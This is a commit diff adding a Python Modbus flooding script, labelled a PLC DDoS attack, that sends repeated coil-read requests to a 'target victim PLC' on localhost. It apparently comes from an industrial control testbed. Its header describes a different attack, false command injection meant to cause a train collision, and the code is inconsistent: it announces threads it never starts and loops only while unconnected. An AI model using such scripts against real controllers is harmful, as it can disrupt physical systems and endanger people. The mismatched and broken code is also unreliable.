Added the PLC DDos attack script.

attack/ddosAttacker.py

@@ -0,0 +1,34 @@
+#-----------------------------------------------------------------------------
+# Name:        false command injector.py
+#
+# Purpose:     a false command jection attack program to send the false train
+#              detect sensor off and then control the train to collision.
+#
+# Author:      Yuancheng Liu
+#
+# Created:     2023/10/02
+# Version:     v_0.1
+# Copyright:   
+# License:     
+#-----------------------------------------------------------------------------
+
+import time
+import modbusTcpCom
+count = 0 
+hostIp = '127.0.0.1'
+hostPort = 502
+
+client = modbusTcpCom.modbusTcpClient(hostIp)
+print('Try to connect to the target victim PLC: %s' %str(hostIp))
+print('Start PLC read request thread')
+print('Start pLC write request thread')
+timeVal = time.time()
+while not client.checkConn():
+    count +=1
+    print('Try connect to the PLC')
+    reuslt = client.getCoilsBits(0, 4)
+    if not reuslt: print("connection rejected")
+    if count == 100:
+        timeInt = time.time() - timeVal
+        print("PLC request sending frequency: %s" %str(100/timeInt))
+        timeVal = time.time()